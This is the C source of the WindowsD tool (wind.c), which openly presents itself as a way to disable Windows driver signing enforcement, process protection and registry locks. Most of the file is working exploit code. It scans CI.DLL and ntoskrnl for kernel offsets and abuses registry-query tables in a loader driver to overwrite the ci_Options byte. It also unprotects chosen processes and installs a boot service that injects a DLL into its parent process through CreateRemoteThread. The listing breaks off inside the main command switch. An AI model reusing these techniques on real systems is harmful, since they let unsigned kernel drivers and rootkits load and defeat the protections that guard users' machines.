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wind.c
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wind.c
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#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <stdio.h>
#include "defs.h"
#include "ntcruft.h"
#include "wind.h"
static void *get_res(int id, int *len)
{
HRSRC h = FindResource(NULL, MAKEINTRESOURCE(id), RT_RCDATA);
HGLOBAL g = LoadResource(NULL, h);
*len = SizeofResource(NULL, h);
return LockResource(g);
}
static void *get_mod_info()
{
DWORD got = 0;
void *m;
NTSTATUS ret = NtQuerySystemInformation(
SystemModuleInformation, NULL, 0, &got);
if (ret != STATUS_INFO_LENGTH_MISMATCH)
return NULL;
m = malloc(got);
if (NT_SUCCESS(NtQuerySystemInformation(SystemModuleInformation, m, got, &got)))
return m;
free(m);
return NULL;
}
static ULONG_PTR get_mod_base(RTL_PROCESS_MODULES *m, char *name)
{
for (int i = 0; i < m->NumberOfModules; i++) {
RTL_PROCESS_MODULE_INFORMATION *p = m->Modules + i;
if (!stricmp(name, (char*)p->FullPathName + p->OffsetToFileName))
return (ULONG_PTR)p->ImageBase;
}
return 0;
}
#ifndef _WIN64
// on x86, we dont have the luxury of saving the original ci_Options
// We attempt to guess semi-correct value of the first byte.
// Since x86 has no PatchGuard running (yet?), this needs to be only
// semi-accurate to feign the "secure" kernel status.
static ULONG_PTR guess_ci()
{
DWORD dw, infoci[2] = { sizeof(infoci) };
unsigned char infosb[0x18];
unsigned char infobe[0x20];
ULONG_PTR ret = 0;
NTSTATUS status;
status = NtQuerySystemInformation(SystemCodeIntegrityInformation, &infoci, sizeof(infoci), &dw);
DBG("QueryCI status %08x", (unsigned)status);
if (!NT_SUCCESS(status))
return 0;
dw = sizeof(infosb);
status = NtQuerySystemInformation(SystemSecureBootPolicyInformation, &infosb, sizeof(infosb), &dw);
DBG("QuerySecureBoot status %08x", (int)status);
if (NT_SUCCESS(status)) {
dw = sizeof(infobe);
// if ( *(_BYTE *)(v5 + 0x14) & 0x80 )
// {
// LOWORD(v8) = g_CiOptions | 0x20;
// g_CiOptions |= 0x20u;
// }
status = NtQuerySystemInformation(SystemBootEnvironmentInformation, &infobe, sizeof(infobe), &dw);
DBG("QueryBootEnv status %08x", (int)status);
if (NT_SUCCESS(status)) {
if (infosb[0x14] & 0x80)
ret |= 0x20;
}
}
DBG("infoci is %d", (int)infoci[1]);
if (infoci[1] & 1) // enabled
ret |= 6;
if (infoci[1] & 2) // testsign
ret |= 8;
return ret;
}
#endif
static int k_analyze(wind_config_t *cfg)
{
WCHAR path[PATH_MAX];
HMODULE k;
DBG("ntoskrnl?");
wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\NTOSKRNL.EXE");
k = LoadLibraryEx(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
BYTE *p;
if (!k) {
DBG("ntoskrnl failed?");
return 0;
}
p = (void*)GetProcAddress(k, "PsGetProcessProtection");
cfg->protbit = -1;
cfg->protofs = 0;
if (!p) {
cfg->protbit = 11;
p = (void*)GetProcAddress(k, "PsIsProtectedProcess");
// mov
for (int i = 0; i < 64; i++, p++)
// mov eax, [anything + OFFSET]; shr eax, 11
if (!memcmp(p+2, "\x00\x00\xc1\xe8\x0b",5))
goto protfound;
} else {
// mov al, [anything+OFFSET]
for (int i =0 ; i < 64; i++, p++)
if ((p[-2] == 0x8a) && (!p[2] && !p[3]))
goto protfound;
}
DBG("failed to find protbit");
FreeLibrary(k);
return 0;
protfound:;
cfg->protofs = *((ULONG*)p);
DBG("prot done");
FreeLibrary(k);
return 1;
}
static ULONG_PTR ci_analyze(void *mods, wind_config_t *cfg)
{
HMODULE ci;
BYTE *p;
ULONG_PTR mod;
ULONG_PTR base = get_mod_base(mods, "CI.DLL");
ULONG_PTR ci_opt = 0;
ULONG_PTR key = 0;
WCHAR path[PATH_MAX];
#ifdef _WIN64
MEMORY_BASIC_INFORMATION info;
#endif
wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\CI.DLL");
ci = LoadLibraryEx(path, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!ci) {
DBG("no ci initialize %d %S",(int)GetLastError(), path);
goto out_free;
}
p = (void*)GetProcAddress(ci, "CiInitialize");
mod = (ULONG_PTR)ci;
DBG("analyzing ci, modbase=%p, userbase=%p",(void*)base, (void*)mod);
// find jmp CipInitialize
for (int i = 0; i < 100; i++, p++) {
// jmp/call forwardnearby
if (((p[-1]&0xfe) == 0xe8) && ((!(p[2]|p[3]))||((p[2]&p[3])==0xff))) {
BYTE *t = p + 4 + *((DWORD*)p);
DBG("candidate %x %p",p[-1],t);
// Don't eat the security cookie
#ifdef _WIN64
// mov rax, [rip+something]
if (!memcmp(t, "\x48\x8b\x05",3))
continue;
#else
// mov eax, [something]
if (t[0] == 0xa1)
continue;
#endif
goto cipinit_found;
}
}
DBG("CipInitialize not found in vicinity");
goto out_free;
cipinit_found:
DBG("CipRef @ %p", p);
p = p + 4 + *((DWORD*)p);
DBG("CiInitialize @ %p", p);
for (int i = 0; i < 100; i++, p++) {
#ifdef _WIN64
// mov ci_Options, ecx; check the relip points back and close
if (p[-2] == 0x89 && p[-1] == 0x0d && p[3] == 0xff) {
ci_opt = (ULONG_PTR)(p + 4) + *((LONG*)p);
goto found_ci;
}
#else
// mov ci_Options, eax|ecx; call __imp_something
if (p[4] == 0xff && p[5] == 0x15)
{
DWORD dw = *((DWORD*)(p+6));
if (dw > mod && dw < (mod+1024*1024)) {
ci_opt = *(ULONG_PTR*)p;
goto found_ci;
}
}
#endif
}
DBG("ci_Options not found");
goto out_free;
found_ci:
#ifdef _WIN64
// Scratch space we use to stash original ci_Options into
if (!VirtualQuery((void*)ci_opt, &info, sizeof(info)))
goto out_free;
cfg->ci_orig = ((info.BaseAddress + info.RegionSize - 4) - mod + base);
// Some dummy, unknown key
p = (void*)mod + 4096;
// key address must incorporate RTL_QUERY_REGISTRY_DIRECT !
while (*((UINT32*)p)>0xff || (!(((ULONG_PTR)p)&0x20))) p++;
key = (ULONG_PTR)p - mod + base;
#else
cfg->ci_guess = guess_ci();
key = 1;
#endif
cfg->ci_opt = (void*)(ci_opt - mod + base);
out_free:
FreeLibrary(ci);
DBG("ci done %d",(int)key);
return key;
}
static int nt_path(WCHAR *dst, WCHAR *src)
{
// TBD: something smarter may be needed
return swprintf(dst, PATH_MAX, L"\\??\\%s", src)*2+2;
}
static int create_service(WCHAR *svc, WCHAR *name, WCHAR *image)
{
WCHAR tmp[PATH_MAX];
DWORD dw;
wcscpy(svc, SVC_BASE);
if (name) {
wcscat(svc, name);
} else {
int p = wcslen(svc);
for (WCHAR *i = name = image; *i; i++)
if (*i == L'\\')
name = i+1;
while (*name && *name != '.')
svc[p++] = *name++;
svc[p] = 0;
}
if (!NT_SUCCESS(RtlCreateRegistryKey(0, svc)))
return 0;
RtlWriteRegistryValue(0, svc, L"ImagePath", REG_SZ, tmp, nt_path(tmp, image));
dw = 1;
RtlWriteRegistryValue(0,svc, L"Type", REG_DWORD, &dw, sizeof(dw));
DBG("created service reg=%S, image=%S", svc, image);
return 1;
}
static void *read_file(WCHAR *path, int *len)
{
DWORD sz, ret = 0;
HANDLE f;
void *buf;
f = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
if (f == INVALID_HANDLE_VALUE)
return 0;
sz = GetFileSize(f, NULL);
if (sz == INVALID_FILE_SIZE)
return NULL;
DBG("reading %S, size=%d", path, (int)sz);
buf = malloc(sz);
if ((!ReadFile(f, buf, sz, &ret, NULL)) || (sz != ret)) {
DBG("read failed %d/%d %x",(int)sz,(int)ret,(int)GetLastError());
CloseHandle(f);
free(buf);
return NULL;
}
CloseHandle(f);
*len = sz;
return buf;
}
static int update_file(WCHAR *fullpath, WCHAR *name, int res)
{
DWORD sz;
WCHAR tmp[PATH_MAX];
HANDLE f;
int needmove = 0;
int elen, len, ret = 0;
void *ebuf, *buf;
DBG("updating file %S, rsrc=%d", name, res);
if (res < 0) {
if (!GetModuleFileName(NULL, tmp, PATH_MAX))
return 0;
DBG("got self %S",tmp);
buf = read_file(tmp, &len);
} else buf = get_res(res, &len);
if (!buf) {
DBG("failed to get update buffer data");
return 0;
}
wcscpy(fullpath + GetSystemDirectory(fullpath, PATH_MAX), name);
sz = GetFileSize(fullpath, NULL);
DBG("got fullpath %S", fullpath);
ebuf = read_file(fullpath, &elen);
if (ebuf) {
if ((elen == len) && (!memcmp(ebuf, buf, len))) {
ret = 1;
DBG("files equal, skip");
goto out;
}
DBG("file nonequal? %d %d", elen,len);
}
f = CreateFile(fullpath, FILE_WRITE_DATA,
FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
DBG("create %p",f);
if (f == INVALID_HANDLE_VALUE) {
swprintf(tmp, PATH_MAX, L"%s.new", fullpath);
f = CreateFile(tmp, FILE_WRITE_DATA,
FILE_SHARE_READ, 0, CREATE_ALWAYS, 0, 0);
if (f == INVALID_HANDLE_VALUE)
goto out;
needmove = 1;
}
sz = 0;
ret = WriteFile(f, buf, len, &sz, NULL);
CloseHandle(f);
if (!ret || sz != len) {
DeleteFile(needmove?tmp:fullpath);
goto out;
}
if (needmove) {
DBG("Will move from %S to %S on next boot", tmp, fullpath);
ret = MoveFileEx(tmp, fullpath, MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING);
if (!ret) DeleteFile(tmp);
}
DBG("ret done %d",ret);
out:;
if (ebuf)
free(ebuf);
if (res < 0)
free(buf);
return ret;
}
static int install_files(WCHAR *svc, WCHAR *ldr)
{
WCHAR dllpath[PATH_MAX];
WCHAR syspath[PATH_MAX];
WCHAR ldrpath[PATH_MAX];
if (!update_file(dllpath, L"\\" BASENAME ".exe", -1))
return 0;
if (!update_file(dllpath, L"\\" BASENAME ".dll", DLL_ID))
return 0;
if (!update_file(syspath, L"\\drivers\\" BASENAME ".sys", SYS_ID))
return 0;
if (!update_file(ldrpath, L"\\drivers\\" BASENAME "loader.sys", LOADER_ID))
return 0;
if (!create_service(svc, NULL, syspath))
return 0;
if (!create_service(ldr, NULL, ldrpath))
return 0;
return 1;
}
static HANDLE trigger_loader(WCHAR *svc, WCHAR *ldr)
{
wind_config_t cfg = {0};
NTSTATUS status;
UNICODE_STRING svcu, ldru;
HANDLE dev = NULL;
void *mod = get_mod_info();
ULONG_PTR key = ci_analyze(mod, &cfg);
#ifdef _WIN64
struct {
UINT64 pad;
RTL_QUERY_REGISTRY_TABLE tab[4] ;
} buffer = { .tab = {
{}, {},
{ // save original ci_Options byte to cisave
.Flags = 32, // DIRECT
.Name = (void*)key, // valid string, but non-existent key
.EntryContext = (void*)cfg.ci_orig, // destination
.DefaultType = REG_DWORD,
.DefaultData = (void*)cfg.ci_opt, // source
.DefaultLength = 1 // save 1 byte
},
{ // overwrite ci_Options byte with 0
.Flags = 32, // DIRECT
.Name = (void*)key, // valid string, but non-existent key
.EntryContext = (void*)cfg.ci_opt, // data to overwrite
.DefaultType = REG_DWORD,
.DefaultData = (void*)key + 2, // source - 4 zeros
.DefaultLength = 1 // overwrite 1 byte
}
}};
RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_SZ, L"x", 4);
#else
DWORD zero = 0;
// smash 4 stack DWORD entries
RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_MULTI_SZ, L"x\0x\0", 10);
// target addr
RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_DWORD, &cfg.ci_opt, 4);
// and write 0 byte there
RtlWriteRegistryValue(0, ldr, L"FlowControlChannelBandwidth", REG_SZ, &zero, 1);
#endif
if (!key)
goto out;
k_analyze(&cfg);
DBG("preparing cfg for driver with:\n"
" .ci_opt = %p\n"
" .ci_orig = %p\n"
" .ci_guess = %02x\n"
" .protofs = %x\n"
" .protbit = %d\n", cfg.ci_opt, cfg.ci_orig, cfg.ci_guess,
cfg.protofs, cfg.protbit);
RtlWriteRegistryValue(0, svc, L"cfg", REG_BINARY, &cfg, sizeof(cfg));
RtlInitUnicodeString(&svcu, svc);
RtlInitUnicodeString(&ldru, ldr);
for (int retry = 0; 1; retry++) {
// try to load our driver if loader suceeded
status = NtLoadDriver(&svcu);
(void)status;
DBG("NtLoadDriver(%S) = %08x", svcu.Buffer, (unsigned)status);
dev = wind_open();
DBG("devopen=%p",dev);
// remove loader, if still there
status = NtUnloadDriver(&ldru);
DBG("NtUnloadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
// exit if we're in
if (dev)
break;
if (retry == 2)
break;
#ifdef _WIN64
// first attempt - positive REG_BINARY length
if (!retry) {
DBG("REG_BINARY positive");
RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_BINARY,
((void*)buffer.tab)+4, sizeof(buffer.tab)-4);
} else {
DBG("REG_BINARY negative");
RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth",REG_BINARY,
((void*)buffer.tab)-4, sizeof(buffer.tab)+4);
}
#endif
// request loader driver again
status = NtLoadDriver(&ldru);
DBG("NtLoadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
}
out:;
free(mod);
return dev;
}
static HANDLE check_driver(int force)
{
HANDLE dev;
dev = wind_open();
if (!dev || force) {
HANDLE hmutex;
WCHAR svc[PATH_MAX], ldr[PATH_MAX];
hmutex = CreateMutex(NULL, 0, L"mutex"BASENAME);
WaitForSingleObject(hmutex,INFINITE);
if (install_files(svc, ldr))
dev = trigger_loader(svc, ldr);
ReleaseMutex(hmutex);
CloseHandle(hmutex);
}
return dev;
}
static int elevate()
{
BOOLEAN old;
if (!NT_SUCCESS(RtlAdjustPrivilege(ID_SeLoadDriverPrivilege, 1, 0, &old))) {
printf("You need to run this command as an Administrator.\n");
return 0;
}
return 1;
}
static int unprotect(WCHAR *p)
{
NTSTATUS st;
HANDLE dev;
wind_prot_t prot = {0};
if (!elevate())
return 0;
while (*p == L' ' || *p == L'\t') p++;
prot.pid = _wtoi(p);
dev = check_driver(0);
if (!dev) {
printf("Failed to open/install WinD device.\n");
return 0;
}
st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
wind_close(dev);
if (!NT_SUCCESS(st)) {
printf("Failed to de-protect %d, status %08x\n",
(int)prot.pid, (int)st);
return 0;
}
printf("%d is now de-protected.\n",(int)prot.pid);
return 1;
}
static int load_driver(WCHAR *name)
{
WCHAR svc[PATH_MAX];
NTSTATUS status;
HANDLE dev;
int ret = 0;
if (!elevate())
return 0;
dev = check_driver(0);
if (!name) {
ret = !!dev;
goto outclose;
}
if (!dev) {
printf("Control driver failed to load. Use debug binary for details.\n");
goto outclose;
}
while (*name == L' ' || *name == L'\t') name++;
if (!*name) {
ret = 1;
printf("Control driver loaded.\n");
goto outclose;
}
// create service?
for (int i = 0; name[i]; i++) {
if (name[i] == L'.') {
WCHAR fullpath[PATH_MAX];
GetFullPathName(name, PATH_MAX, fullpath, NULL);
if (!create_service(svc, NULL, fullpath)) {
printf("Failed to create service for file %S", fullpath);
goto outclose;
}
goto havesvc;
}
}
wcscpy(svc, SVC_BASE);
wcscat(svc, name);
havesvc:;
status = wind_ioctl(dev, WIND_IOCTL_INSMOD, svc, wcslen(svc)*2+2);
if (!NT_SUCCESS(status)) {
printf("Failed to load %S NTSTATUS=%08x", name, (int)status);
goto outclose;
}
printf("%S loaded.", name);
ret = 1;
outclose:;
wind_close(dev);
return ret;
}
static int restore_point(char *name)
{
SHELLEXECUTEINFOA shexec = {
.cbSize = sizeof(shexec),
.fMask = SEE_MASK_NOCLOSEPROCESS,
.lpVerb = "open",
.lpFile = FILE_VBS,
.lpParameters = "",
};
HMODULE lib = LoadLibraryA("SHELL32");
BOOL (WINAPI *sh)(VOID*) = (void*)GetProcAddress(lib, "ShellExecuteExA");
DWORD ecode = 1;
FILE *f;
// we can be called before desktop is available, user32.dll could fail
if (!sh)
return 0;
f = fopen(FILE_VBS, "w+");
fprintf(f, RESTORE_VBS, name);
fclose(f);
if (!sh(&shexec))
return 0;
printf("Creating restore point..."); fflush(stdout);
WaitForSingleObject(shexec.hProcess,INFINITE);
GetExitCodeProcess(shexec.hProcess, &ecode);
DeleteFileA(FILE_VBS);
return ecode == 123;
}
static int do_install()
{
WCHAR path[PATH_MAX];
SC_HANDLE h, scm;
int ret = 0;
NTSTATUS st;
DBG("doing install");
if (!elevate())
return 0;
st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
(void)st;
DBG("Unloading previous driver %x", (int)st);
if (!check_driver(1)) {
printf("Failed to initialize driver.\n");
DBG("no driver, exiting");
return 0;
}
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!scm) {
printf("Unable to initialize boot service.\n");
return 0;
}
wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\" BASENAME ".exe /X");
DBG("injector=%S",path);
h = CreateService(scm, L"" BASENAME"inject", L""BASENAME" injector service", SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
#ifdef NDEBUG
SERVICE_AUTO_START,
#else
SERVICE_DEMAND_START,
#endif
SERVICE_ERROR_IGNORE,
path, L"Base", NULL, NULL, NULL, NULL);
if (!h && (GetLastError() == ERROR_SERVICE_EXISTS)) {
DBG("svc already exists");
h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
}
if (h) {
ret = 1;
DBG("attempting to start service");
StartService(h, 0, NULL);
} else {
DBG("service open failed, %d", (int)GetLastError());
}
if (ret) {
printf(BASENAME " installed successfuly.\n");
} else {
printf(BASENAME " installation failed. Use debug version to find out why.\n");
}
CloseServiceHandle(h);
CloseServiceHandle(scm);
return ret;
}
static int do_uninstall(int checkonly)
{
HANDLE h, scm;
int ret = 0;
if (!elevate() && !checkonly)
return 0;
scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!scm) return 0;
h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
if (!h)
goto out;
if (checkonly)
ret = 1;
else {
printf("Service deleted.\n");
ret = DeleteService(h);
}
CloseServiceHandle(h);
out:;
CloseServiceHandle(scm);
if (!checkonly) {
NTSTATUS st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
(void)st;
DBG("Unloading previous driver %x", (int)st);
if (ret) {
printf(BASENAME " uninstalled.\n");
} else {
printf("Some errors during uninstallation (already uninstalled?)\n");
}
}
return ret;
}
static int is_installed()
{
return do_uninstall(1);
}
static int yesno(char *q)
{
char c;
do {
printf(">> %s [y/n]", q);
c = getchar();
while (getchar() != '\n');
} while (tolower(c) != 'y' && tolower(c) != 'n');
return c == 'y';
}
static int interactive_install()
{
printf("We're going to patch deep into windows and something may go awry.\n"
"The changes can be reversed by restoring registry (part of restore).\n"
"Creating a backup you can boot into is STRONGLY advised.\n");
if (!yesno("Create a system restore point?"))
return 1;
if (!restore_point("Before installing " BASENAME)) {
printf("Restore point creation failed!\n"
"Create restore point manualy NOW and then proceed!\n");
return yesno("Do you want to proceed with installation?");
} else printf("Done!\n");
return 1;
}
static void enter()
{
while (getchar() != '\n') {};
}
static int usage(int interactive)
{
int doit, installed = is_installed();
for (int n = printf( "WindowsD "VERSTR" kat@lua.cz 2016\n")-1; n; n--)
putchar('=');
putchar('\n');
printf(
"This program can disable some restrictions of Windows:\n"
" * Driver signing ('DSE', breaks freeware utilities)\n"
" * Process protection ('unkillable processes', WinTCB)\n"
" * Read-only registry keys (malware is the only user)\n\n"
);
if (!interactive) {
printf("usage: \n"
" "BASENAME " /I install, disable DSE permanently\n"
" "BASENAME " /U uninstall, re-enable DSE permanently\n"
" "BASENAME " /W run interactive installer\n"
" "BASENAME " /D <pid> de-protect specified PID\n"
" "BASENAME " /L [service|driver.sys] load unsigned driver and keep DSE status intact\n"
" "BASENAME " /RU <\\Registry\\Path> unlock registry key\n"
" "BASENAME " /RL <\\Registry\\Path> lock registry key\n");
goto out;
}
printf("Entering interactive mode (invoke " BASENAME " /? for cmd options)\n\n");
if (installed) {
printf("Detected running " BASENAME ".\n");
doit = yesno("Do you wish to uninstall it?");
} else {
printf(BASENAME " is not installed. Unsigned drivers will not load at boot.\n");
doit = yesno("Do you wish to install it system-wide?");
}
if (doit) {
int ret;
if (installed) {
printf("Uninstalling...");
ret = do_uninstall(0);
} else {
if (!interactive_install())
goto cancel;
printf("Installing...");
ret = do_install();
}
printf("All done! Press enter to close...");
enter();
ExitProcess(ret);
}
cancel:;
printf("Operation cancelled, press enter to close...");
enter();
out:;
ExitProcess(1);
}
static void WINAPI service_ctl(DWORD code)
{
}
static void inject_parent(int pid)
{
char path[PATH_MAX];
HANDLE hthr, hp = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
void *lla, *dst;
DBG("opened pid=%d handle=%p err=%d",pid,hp,(int)GetLastError());
dst = VirtualAllocEx(hp, NULL, 4096, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
strcpy(path + GetSystemDirectoryA(path,PATH_MAX), "\\" BASENAME ".dll");
DBG("injecting into parent pid=%d h=%p dst=%p path=%s",(int)pid,hp,dst,path);
if (!WriteProcessMemory(hp, dst, path, strlen(path) + 1, NULL)) {
DBG("writing memory failed %d", (int)GetLastError());
goto out;
}
lla = GetProcAddress(GetModuleHandleA("KERNEL32.DLL"),"LoadLibraryA");
if (!lla) {
DBG("failed to get LoadLibraryA");
goto out;
}
hthr = CreateRemoteThread(hp, NULL, 0, lla, dst, 0, NULL);
WaitForSingleObject(hthr, INFINITE);
CloseHandle(hthr);
out:;
CloseHandle(hp);
}
static void fix_boot_drivers()
{
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
DWORD nserv, sz = 0;
ENUM_SERVICE_STATUS_PROCESS *buf;
QUERY_SERVICE_CONFIG *cfg = NULL;
DWORD cfgsz = 0;
if (!scm) return;
EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
SERVICE_INACTIVE, NULL, 0, &sz,
&nserv, NULL, NULL);
if (!sz) goto outclose;
buf = malloc(sz);
if (!EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
SERVICE_INACTIVE, (void*)buf, sz, &sz,
&nserv, NULL, NULL))
goto outfree;
DBG("got %d services", (int)nserv);
for (int i = 0; i < nserv; i++) {
SERVICE_STATUS_PROCESS *stat = &buf[i].ServiceStatusProcess;
SC_HANDLE sc;
if (stat->dwServiceType > 3) continue;
sc = OpenService(scm, buf[i].lpServiceName, SERVICE_ALL_ACCESS);
retry:;
if (!QueryServiceConfig(sc, cfg, cfgsz, &cfgsz)) {
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
cfg = realloc(cfg, cfgsz);
goto retry;
}
CloseServiceHandle(sc);
continue;
}
if (cfg->dwStartType > 1) {
CloseServiceHandle(sc);
continue;
}
DBG("found stale boot service %S, starting",buf[i].lpServiceName);
StartService(sc, 0, NULL);
CloseServiceHandle(sc);
}
free(cfg);
outfree:;
free(buf);
outclose:;
CloseServiceHandle(scm);
}
static void WINAPI service_main(DWORD argc, WCHAR **argv)
{
SERVICE_STATUS_HANDLE svc = RegisterServiceCtrlHandler(L""BASENAME, service_ctl);
SERVICE_STATUS st = {
.dwServiceType = SERVICE_WIN32_OWN_PROCESS,
.dwCurrentState = SERVICE_START_PENDING
};
SetServiceStatus(svc, &st);
st.dwCheckPoint++;
st.dwCurrentState = SERVICE_STOPPED;
st.dwWin32ExitCode = 0;
SetServiceStatus(svc, &st);
}
static int run_service()
{
SERVICE_TABLE_ENTRY s_table[] = {
{L""BASENAME"inject", service_main},
{NULL, NULL}
};
ULONG_PTR pbi[6];
ULONG uls;
HANDLE dev;
int pid;
wind_prot_t prot = {0};
NTSTATUS st;
DBG("service launched");
StartServiceCtrlDispatcher(s_table);
elevate();
if (!NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(), 0, &pbi, sizeof(pbi), &uls)))
return 0;
pid = pbi[5];
prot.pid = pid;
DBG("got parent pid=%d",pid);
dev = check_driver(0);
if (!dev) {
DBG("no driver, bye");
return 0;
}
st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
if (!NT_SUCCESS(st)) {
DBG("failed to unprotect services %08x", (int)st);
wind_close(dev);
return 0;
}
inject_parent(pid);
wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
wind_close(dev);
fix_boot_drivers();
return 1;
}
static int regunlock(WCHAR *p)
{
HANDLE dev;
NTSTATUS status;
int cmd = toupper(*p++);
if ((!cmd) || ((cmd != 'U') && (cmd != 'L')))
usage(0);
while (*p == L' ' || *p == L'\t') p++;
dev = check_driver(0);
if (!dev) {
printf("Failed to open/install WinD device.\n");
return 0;
}
if (cmd == 'U') {
printf("Unlocking %S...", p);
status = wind_ioctl_string(dev, WIND_IOCTL_REGUNLOCK, p);
} else {
printf("Locking %S...", p);
status = wind_ioctl_string(dev, WIND_IOCTL_REGLOCK, p);
}
if (NT_SUCCESS(status))
printf("OK\n");
else
printf("error %08x\n", (int)status);
wind_close(dev);
return NT_SUCCESS(status);
}
void ENTRY(win_main)()
{
int ret = 0;
CONSOLE_SCREEN_BUFFER_INFO csbi;
int explorer = GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi)
&& !(csbi.dwCursorPosition.X|csbi.dwCursorPosition.Y);
WCHAR *cmd = GetCommandLine();
int quot = *cmd++ == L'"';
while (*cmd && (quot || (cmd[0]>L' ')))
if (*cmd++ == L'"')
quot ^= 1;
while (*cmd && *cmd<= L' ')
cmd++;
if ((*cmd != L'/') && (*cmd != L'-'))
usage(explorer);
cmd += 2;
switch (toupper(cmd[-1])) {
case 'I':
ret = !!do_install();
break;
case 'U':
ret = !!do_uninstall(0);
break;
case 'W':
usage(1);
break;